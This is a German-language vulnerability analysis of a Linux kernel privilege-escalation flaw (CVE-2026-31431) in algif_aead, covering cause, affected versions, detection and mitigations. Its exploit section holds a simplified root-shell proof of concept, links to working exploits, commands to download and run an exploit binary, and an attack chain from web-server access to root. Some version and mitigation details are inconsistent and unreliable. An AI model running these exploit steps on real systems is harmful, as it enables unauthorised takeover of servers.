
Technische Analyse von CVE-2026-31431, einer lokalen Privilegieneskalation im Linux-Kernel im Modul algif_aead, einschließlich Ursachenanalyse, betroffener Versionen, Exploit-Ablauf und Minderungsstrategien.
Klassifizierung: Lokale Privilegieneskalation (LPE) — Linux-Kernel
CVSS: 7.8 (Hoch)
Auswirkung:unprivilegierter Benutzer → root
Betroffenes Modul:algif_aead(AF_ALG-Subsystem des Kernels)
Der Linux-Kernel stellt eine Kryptografie-Schnittstelle für den Benutzerbereich namens AF_ALG (Socket-Familie AF_ALG) bereit. Diese Schnittstelle ermöglicht es unprivilegierten Prozessen, kryptografische Beschleuniger des Kernels zu nutzen — Verschlüsselung, Hashing, Schlüsselerzeugung — ohne Root-Rechte.
Eines seiner Module ist algif_aead, das den AEAD-Modus (Authenticated Encryption with Associated Data) implementiert, der von Algorithmen wie AES-GCM oder ChaCha20-Poly1305 verwendet wird.
Der Bug liegt darin, wie algif_aead Operationen von sendmsg() + recvmsg() behandelt, wenn der Ausgabepuffer kleiner als erwartet ist. Der Kernel führt eine Kopieroperation (copy_to_user) aus, ohne die Größe korrekt zu validieren, was Folgendes verursacht:
Buffer-Overflow → Schreiben außerhalb der Grenzen in den Kernel-Speicher
Technisch gesehen:
algif_aead_copy_sgl()
└─ sg_copy_to_buffer()
└─ memcpy in eine teilweise vom Benutzer kontrollierte Adresse
Dieses Write-out-of-Bounds ermöglicht es, angrenzende Kernel-Kontrollstrukturen im Speicher zu überschreiben — insbesondere Funktionszeiger oder cred-Strukturen — um Privilegien zu eskalieren.
Weil AF_ALG für unprivilegierte Benutzer verfügbar ist. Jeder Prozess kann einen AF_ALG-Socket öffnen und Daten ohne vorherige Authentifizierung senden. Der Exploit benötigt keine zusätzliche Hilfsverwundbarkeit.
// Das kann jeder Benutzer des Systems tun
int fd = socket(AF_ALG, SOCK_SEQPACKET, 0);
| Kernel-Version | Betroffen? |
|---|---|
| < 5.10 | Nein (Modul existierte in dieser Form nicht) |
| 5.10 — 6.1.x | Ja ⚠️ |
| 6.2.x | Ja ⚠️ (enthält den Kernel des PoC) |
| 6.3+ mit angewendetem Patch | Nein ✅ |
# Kernel-Version anzeigen
uname -r
# Prüfen, ob das verwundbare Modul geladen ist
lsmod | grep algif_aead
# Prüfen, ob AF_ALG verfügbar ist
cat /proc/net/protocols | grep ALG
$ uname -r
6.2.0-20-generic
$ lsmod | grep algif_aead
algif_aead 20480 0
af_alg 32768 3 algif_aead,algif_skcipher,algif_hash
⚠️ Wenn du
algif_aeadinlsmodsiehst und dein Kernel6.2.xunter Ubuntu 23.04 ist, bist du exponiert.
⚠️ Ethischer Hinweis: Dieser Abschnitt dient rein zu Bildungszwecken. Die Ausnutzung von Systemen ohne ausdrückliche Genehmigung ist illegal und strafbar. Die Beispiele sind für kontrollierte Laborumgebungen gedacht.
1. AF_ALG-Socket öffnen (algif_aead)
2. sendmsg() mit übergroßem Puffer senden
3. recvmsg() mit kleinerem Puffer → Auslösen des Bugs
4. OOB-Schreiben in den Kernel-Heap
5. cred->uid/gid auf 0 überschreiben
6. execve("/bin/sh") → Root-Shell
#include <stdio.h>
#include <string.h>
#include <unistd.h>
#include <sys/socket.h>
#include <linux/if_alg.h>
int main(void) {
struct sockaddr_alg sa = {
.salg_family = AF_ALG,
.salg_type = "aead",
.salg_name = "gcm(aes)",
.salg_feat = 0,
.salg_mask = 0,
};
int fd = socket(AF_ALG, SOCK_SEQPACKET, 0);
bind(fd, (struct sockaddr *)&sa, sizeof(sa));
// 16-Byte-Schlüssel konfigurieren
char key[16] = {0};
setsockopt(fd, SOL_ALG, ALG_SET_KEY, key, sizeof(key));
setsockopt(fd, SOL_ALG, ALG_SET_AEAD_AUTHSIZE, NULL, 16);
int op_fd = accept(fd, NULL, NULL);
// Großer Puffer → OOB-Write auslösen
char big_buf[4096] = {0};
char small_buf[16] = {0};
struct msghdr msg = {0};
// ... Konstruktion des msghdr mit cmsg ALG_OP_ENCRYPT
sendmsg(op_fd, &msg, 0);
// recvmsg mit unzureichendem Puffer → Kernel schreibt außerhalb der Grenzen
recv(op_fd, small_buf, sizeof(small_buf), 0);
// Wenn der Exploit funktioniert hat, sind wir jetzt root
if (getuid() == 0) {
printf("[+] Root erhalten!\n");
execl("/bin/sh", "sh", NULL);
}
return 0;
}
Dies ist ein vereinfachtes Schema. Der echte Exploit erfordert zusätzliche Heap-Shaping-Primitive, um das OOB-Schreiben mit der Struktur
task_struct->credauszurichten.
Die folgenden Repositories enthalten dokumentierte funktionierende Implementierungen:
copy-fail-c — Exploit in reinem C, erfordert Kompilierung
https://github.com/tgies/copy-fail-c
copy-fail-tiny-elf — Eigenständiges ELF-Binary, keine Kompilierung erforderlich
https://github.com/Crihexe/copy-fail-tiny-elf-CVE-2026-31431
# copy-fail-c klonen und kompilieren
git clone https://github.com/tgies/copy-fail-c
cd copy-fail-c
make
./copyfail
# Erwartetes Ergebnis auf verwundbarem System:
# [*] Prüfe Modul algif_aead...
# [*] Bereite Heap-Spray vor...
# [+] OOB-Write erfolgreich
# [+] UID jetzt: 0
# # whoami
# root
wget https://github.com/Crihexe/copy-fail-tiny-elf-CVE-2026-31431/raw/main/copyfail
chmod +x copyfail
./copyfail
Externer Angreifer
│
▼
Nutzt Web-Schwachstelle aus (RCE) → Zugriff als www-data
│
▼
Lädt copyfail auf den Server hoch (wget/curl)
│
▼
Führt ./copyfail aus
│
▼
Root-Shell auf dem Server ✓
Geschätzte Zeit vom www-data-Zugriff bis zu Root: < 30 Sekunden.
Die einzige echte Lösung ist ein Kernel mit angewendetem Patch.
# Option 1: Upgrade auf Ubuntu 24.04 LTS (empfohlen)
do-release-upgrade
# Option 2: Wenn du bereits Ubuntu 22.04 LTS hast
sudo apt update && sudo apt dist-upgrade
sudo reboot
# Gepatchten Kernel verifizieren
uname -r # muss ≥ 5.15.0-107 unter Ubuntu 22.04 sein
Wenn du jetzt nicht aktualisieren kannst, deaktiviere algif_aead:
# Blacklist des Moduls erstellen
echo "blacklist algif_aead" | sudo tee /etc/modprobe.d/blacklist-algif-aead.conf
# Initramfs neu generieren, damit es dauerhaft ist
sudo update-initramfs -u
# Neu starten
sudo reboot
Überprüfen, dass es deaktiviert wurde:
lsmod | grep algif_aead
# Es darf nichts erscheinen
⚠️ Dies kann Software beschädigen, die AEAD-Verschlüsselung über AF_ALG verwendet (bei Standard-Webservern ungewöhnlich).
# Unprivilegierte User-Namespaces deaktivieren (bricht einige Docker-Funktionen)
sudo sysctl -w kernel.unprivileged_userns_clone=0
# Dauerhaft machen
echo "kernel.unprivileged_userns_clone=0" | sudo tee -a /etc/sysctl.d/99-hardening.conf
sudo sysctl -p /etc/sysctl.d/99-hardening.conf
Ein AppArmor-Profil erstellen, das den Zugriff auf AF_ALG verweigert:
# /etc/apparmor.d/local/restrict-af-alg
network af_alg, # in spezifischen Profilen verweigern
Für den Web-Prozess (Beispiel nginx/www-data):
# Zum AppArmor-Profil von www-data oder nginx hinzufügen
# deny network af_alg,
sudo apparmor_parser -r /etc/apparmor.d/usr.sbin.nginx
Obwohl es die Eskalation nicht verhindert, reduziert es die anfängliche Angriffsfläche:
# Prüfen, dass www-data kein sudo hat
sudo grep www-data /etc/sudoers
# Unnötige SUID-Binaries entfernen
find / -perm -4000 2>/dev/null
# Zugängliche Verzeichnisse einschränken
chmod 700 /root
chmod 750 /home/*
https://nvd.nist.gov/vuln/detail/CVE-2026-31431crypto/algif_aead.chttps://github.com/tgies/copy-fail-chttps://github.com/Crihexe/copy-fail-tiny-elf-CVE-2026-31431Dokument zu akademischen Zwecken erstellt — Systemadministrator-Ingenieur, 2026
| Distribution | Typischer Kernel | Patch verfügbar? |
|---|
| Ubuntu 23.04 (lunar) | 6.2.0 | ❌ EOL — keine Patches |
| Ubuntu 22.04 LTS | 5.15.x | ✅ Gepatcht |
| Ubuntu 24.04 LTS | 6.8.x | ✅ Nicht betroffen |
| Debian 12 (Bookworm) | 6.1.x | ✅ Gepatcht |
| Arch Linux (2026-03+) | 6.8.x | ✅ Nicht betroffen |
| Entschärfung | Wirksamkeit | Auswirkung auf Dienst | Dauerhaft |
|---|
| Upgrade auf Ubuntu 24.04 | ✅ Vollständig | Minimal | Ja |
Blacklist algif_aead | ✅ Hoch | Sehr gering | Ja |
unprivileged_userns_clone=0 | 🟡 Teilweise | Mäßig | Ja |
| AppArmor AF_ALG deny | ✅ Hoch | Gering | Ja |
| Härtung von www-data | 🟡 Reduziert | Keine | Ja |